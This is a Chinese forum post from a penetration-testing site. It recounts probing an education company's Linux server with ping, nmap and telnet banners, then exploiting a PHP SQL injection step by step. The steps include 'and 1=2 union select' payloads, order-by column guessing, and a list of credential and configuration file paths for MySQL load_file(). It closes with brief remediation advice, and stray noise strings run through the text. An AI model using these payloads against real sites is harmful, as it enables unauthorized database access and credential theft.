中国网络渗透测试联盟

标题: 记一次Linux系统PHP注入入侵检测 [打印本页]

作者: admin    时间: 2013-2-16 22:23
标题: 记一次Linux系统PHP注入入侵检测
题记:
8 U& B8 h1 }% M# v: J7 G一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
9 D7 h9 y& \( o1 w+ ?第一步:获取需要的信息
4 Z- h/ {! M0 ?/ |& d7 A0 E' x8 |由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。8 V5 c* `. o1 i1 u# e4 R9 t
注:以下为保护特用XXX代替敏感信息. R8 N2 }( r9 G" g( ?3 X- T
顺手先PING了一下他们的域名:
  V, D$ j  D( P0 G) Vping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)0 k% y  V. }$ I: m( L& v( y
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
4 h/ @& Y) [7 `  }# P, u# |顺便了解一下TTL,学好基础知识才能一路顺风:
' x; l& i6 t5 i) u  c# O4 y* OTTL:(Time To Live ) 生存时间2 U" O, }; w( m0 ?/ L6 t4 T0 b# ~9 ^7 Y
指定数据包被路由器丢弃之前允许通过的网段数量。$ s) u  ^( Y2 A( V" ^. x
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
7 u+ E) Y6 o# x- p9 \' }+ _使用PING时涉及到的 ICMP 报文类型
& I7 q* o( G% d9 R2 c; M一个为ICMP请求回显(ICMP Echo Request)
9 u7 b& q( W; v& L$ h$ e2 Q/ Y! S一个为ICMP回显应答(ICMP Echo Reply)2 G3 X& B6 }4 w  `  P7 z3 }, Z( T
TTL 字段值可以帮助我们识别操作系统类型。5 \7 d" n( k/ a0 C. B6 l9 a
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255" [; m1 ~' z% g8 d& ^
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64( G* T* A) j+ M/ d  K0 ]% C
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
) V9 v% g7 ]9 j7 d# G微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
. x9 d1 H9 m1 F, ]* m当然,返回的TTL值是相同的
5 @+ W, Q$ ~* g2 Y; d& v# b, }* ]但有些情况下有所特殊
0 E. k$ o3 p- v9 zLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
5 b" A8 ~, t) W) d/ P( oFreeBSD 4.1, 4.0, 3.4;3 C  Q6 y$ Z4 m1 _0 [& j
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;# x% L4 L% g( B. \
OpenBSD 2.6, 2.7,  q: B6 U# Z; S# |+ s& q* Z3 C; u$ S
NetBSD  \$ t8 K: g+ m) A& O6 I5 w4 a- w
HP UX 10.204 d: s8 U! i+ l% h
ICMP 回显应答的 TTL 字段值为 2555 b$ f+ f, A# m2 S% h
Windows 95/98/98SE
  j& V! k9 f' m. F! e& L9 O2 HWindows ME
" O8 p& l0 V. s& e5 }% C4 k) J0 sICMP 回显应答的 TTL 字段值为 329 S4 o% ?- d$ T: ~" @) A2 Y
Windows NT4 WRKS
: U+ M; g3 J& D0 @" G, H& Z* XWindows NT4 Server- z1 ?1 s" W8 Y  D, Z7 j
Windows 20009 Q' N. {0 W2 Q- T3 h# v7 x0 c
Windows XP3 C- o( s+ q: U% S+ J8 b  k
ICMP 回显应答的 TTL 字段值为 128; J+ J  W/ Z! s" r: L9 p1 P1 _
这样,我们就可以通过这种方法来辨别操作系统
8 H  H* S, p( R0 y9 `1 nTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
* S7 I) f! o# P: L用NMAP扫描一下:5 q/ @/ [: ~$ O
nmap -sT -O XXX.XXX.XXX.XXX
8 g6 y! U& Y/ P' s5 [) Y- [如果没有装WinPcap则会弹出提示:
/ v+ j& h  ~, g8 I4 IWARNING: Could not import all necessary WinPcap functions.  You may need to upgr7 |- H4 T* L% S$ b- V
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(0 d' r' R/ @' m
) mode — Nmap may not function completely
5 ]$ O2 `: O! ^: A2 t# PTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher) l& Y4 f! `9 w* N$ I4 G. p0 U
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
: v" d3 a2 c$ apcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an8 |  K# G# F2 E
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v" K7 K/ E; j% a" \" e! N
ersions, you may be able to take iphlpapi.dll from another system and place it i
. D2 [# B- o1 l  q( cn your system32 dir (e.g. c:\windows\system32).5 R+ f# V0 f; s9 e/ C+ o
QUITTING!" P! r2 ~  q- M: Q) M% `0 J
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
0 p3 C3 C1 B" R6 m# b安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:6 H! F% Q5 }; a  [. H, k) {& r+ ]
Interesting ports on XXX.XXX.XXX.XXX:
4 c4 K7 l4 ]8 M& C6 INot shown: 986 closed ports
7 ]2 e+ h- u5 V. `" q" e5 D2 hPORT     STATE    SERVICE( o% n4 @. Z  g& `: w
21/tcp   open     ftp$ p, J) u# \5 t- O. e
22/tcp   open     ssh
8 s' C6 Z; _) x1 f. H, P; }2 p23/tcp   open     telnet
5 x. E+ q1 n0 A! N; i80/tcp   open     http! _, h2 W* e1 R! l& v' B. V% C" }& Q
111/tcp  open     rpcbind
4 c! O/ R: a4 e+ l135/tcp  filtered msrpc$ B3 W7 ]8 c5 Q9 s4 g
139/tcp  filtered netbios-ssn$ s0 T1 S, u, h
445/tcp  filtered microsoft-ds0 Q9 Y) a* T1 Q
513/tcp  open     login4 N, @* N# h  a4 w; |
514/tcp  open     shell
9 _# m2 L0 |! B$ W593/tcp  filtered http-rpc-epmap, c% ?) }7 W0 W) h! A
1720/tcp filtered H.323/Q.9316 C2 e7 T" F4 x0 g; V2 o
3306/tcp open     mysql: I/ M* }8 D: v. D- T0 i  R/ Z9 B' @9 u
4444/tcp filtered krb524! j$ h2 b; l$ q1 W- q
Device type: WAP- r# h6 V" \0 e: V6 z5 D* M/ E
Running: Linux 2.4.X
- A2 d/ u: @0 V+ N' `OS details: DD-WRT (Linux 2.4.35s)" v( N/ R" D, l* N1 l/ b
Network Distance: 13 hops
; m% k: c4 H3 H看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
, W' @  W7 D; B7 ?& G# klogin as:
8 ]. l4 l7 K5 T# w, XTelnet23端口也是开着的,用telnet 命令链接一下:2 k$ m9 R& i- {/ Q$ |/ N
telnet XXX.XXX.XXX.XXX, k. O0 ~" a5 b* I8 S$ j% i
提示:+ r( Y0 P$ `4 I! Q# p" H# g# Q
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
3 z! k, a, T" C, n( d6 oKernel 2.6.18-92.el5PAE on an i686
  s0 k4 Y# E: P0 e4 flogin:4 L% J0 H: b4 t7 N+ S
获取HTTP头信息:0 S" [% c5 C* A5 |
在本地执行如下PHP代码" `" x" O  [- d* F" L' f, H( m
<?php
# L1 d' ^6 j: Y/ h* W" W5 V+ g! d$ l$url = ‘XXX.XXX.XXX.XXX’;
9 v  L# r1 F3 ~1 G4 d3 p6 I. m" xprint_r(get_headers($url));5 G3 V$ X6 m( @% Z
print_r(get_headers($url, 1));$ q$ n( A2 \; ~$ x$ s
?>* n, M  n& V" i0 [# `. w; H* p
将以上代码保存为PHP文件,执行:# E$ W4 @0 y1 _& S
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )3 w" w2 P3 x* N2 Y* A7 p
现在可以得出结论:
( l! o; N6 u& A  W8 P/ X8 [系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
7 }; G+ S% U! J8 z9 m内核版本:Kernel 2.6.18-92.el5PAE on an i686
& |; L7 A3 O: Q1 |+ bWEB服务器版本:nginx/0.7.61
  y! V  X+ s, {2 S" f; W$ r" W/ U, J第二步,开始测试寻找漏洞
0 \5 d2 v1 [4 o) \" o5 J# c! K分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。$ A  N- V' z7 ?% g' G- D. ?: H4 ~
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
' @/ H7 v" Y& P2、测试方法:在地址后加 and 1=1 和 and 1=2 测试) Q2 {% u$ N$ n) h2 s7 P4 n
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
& _* j6 k7 E+ A' J( d: T' s8 K+ c& Chttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
3 W5 T9 n6 @2 ^! x: F1 o恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续% Y7 ?/ M# c$ q, V# e. _
3、手工注入:( o+ D0 f! Z, H
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。' F! |/ T4 L2 E/ o& x) S
3.1 猜测当前表字段数
# ^2 S. a2 W, d" t3 ~http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10) q& v9 k% O, \0 T# a! b
此处猜测有个简单的算法,都是有技巧的吗,呵呵) B# y" Z8 M! d, W/ B) `1 S8 M' r
算法简单如下:5 d! h& y4 G- \$ H# j6 j" M
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;+ s. l# Z9 q! |- G5 P
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
0 P' R; }' g1 H8 m# p0 i! x$ D7 L需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
  m& K, H; v1 J: z, n9 u以此来判断,是否过界,配合取中算法猜出字段数。
0 B9 @" Q6 A& E. u; o+ C举例:, \$ S4 e+ E5 R5 f4 b5 q
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
: j  e) u; v" u% Q, [http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误, _4 G& H* \1 ^. ~+ R3 _
此时3则为我们要找的字段数。
6 y. S" G6 `9 @$ {! c3.2 配合union联合查询字段在页面所位置
# O' \5 R9 W8 Z: F, n6 ~/ }我们已经知道了字段数为3,此时则可以做如下操作:
' i8 }) Q2 @! V7 A6 F0 mhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3, L$ G5 H6 k" _
0 C  ?6 \& C+ l0 ]1 _% j$ P
这样就可以测试到哪些字段在页面上有所显示了,如图:# y( i  A0 n" P
* W% _* M( ?7 u1 m4 n2 y- D, o
3.3 查敏感信息
1 G5 I4 y1 |' H# ]4 A* I这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
& R+ z! f- _1 f, n2 s2 ]http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
! L% k% l- m3 m4 U/ h6 X3.3.1 先查数据库用户、数据库名,以备后用,如图:
8 l# B6 x9 q& F& F. E
4 T; W) G- [4 m) y得到数据库用户为root、数据库名为DBxx;, w4 L( A9 N! \
3.3.2 查配置文件7 R& I( [1 x+ Q$ S; G7 f
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。9 `( Z  f8 e3 T9 n# e5 p
查看文件有一定的条件限制:) r0 R! L9 {- M
欲读取文件必须在服务器上
; f1 ]; s* Y& D: N: ~& g) H必须指定文件完整的路径  |4 ?' i: Y8 m5 @% Z. x. c
必须有权限读取并且文件必须完全可读
- f& m5 g5 m& K0 O欲读取文件必须小于 max_allowed_packet7 q! \6 {* T* f7 r( `3 d
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
& U! m4 j$ c  |) _- P8 }, p* P常用的一些:+ i- f4 H; p4 C5 R4 R! g- V$ ~
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件4 ]3 K$ P- L$ c, c
/usr/local/apache2/conf/httpd.conf
0 I( F# N5 l" s& [) O; p( g5 ^& J/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置2 G+ P9 F" O) H0 w' D" k" n% V
/usr/local/app/php5/lib/php.ini //PHP相关设置/ O) n6 M# D" A- U0 e6 _
/etc/sysconfig/iptables //从中得到防火墙规则策略$ Q, s  o/ `* c& W
/etc/httpd/conf/httpd.conf // apache配置文件
( ~; j' S* G4 C) S0 Q2 l' _/etc/rsyncd.conf //同步程序配置文件# x; B/ r0 W( w: j4 G2 q
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
$ Y; ?0 w' G2 C- E5 u% H. H% t/etc/my.cnf //mysql的配置文件; n# V; s; U" R* h& g
/etc/redhat-release //系统版本* u2 B7 A/ ?" G, M: l+ _1 P
/etc/issue7 k* x! _$ ~' g% b4 e8 n
/etc/issue.net
* [* T2 U; v% M4 O" xc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
! ?1 h. _% E3 ?9 |# j4 _2 Ec:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
0 O+ i5 {% Y' b$ h- Q3 t( bc:\Program Files\Serv-U\ServUDaemon.ini6 V$ I* f6 ~. H& ~3 r4 q8 V( _- W
c:\windows\my.ini //MYSQL配置文件
2 a, g7 d+ p" }; @0 lc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件4 _# ]$ }$ z7 D( B5 \; n1 a. Y
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,5 M! q# `- q( x3 c
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
: x: _. Y& J  M9 \+ ]& H1 q# yc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
8 Y$ X6 G2 Z" Ac:\Program Files\RhinoSoft.com\ServUDaemon.exe% l; G/ T9 u4 b1 M
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件% ^1 d  s& X+ f  d8 {9 R6 k
//存储了pcAnywhere的登陆密码: Q; F! i5 D. S6 q
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
( }3 s% s, k2 ^6 p这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。+ R& |" e* n1 p
最后:防范措施1 o  [% E3 N& v1 d
1、修复PHP注入漏洞;
$ o# d' t9 y* \, p# E/ X2、Mysql使用普通权限的用户;
% f+ a- ]5 A& U( {3、升级linux内核至最新版本;




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2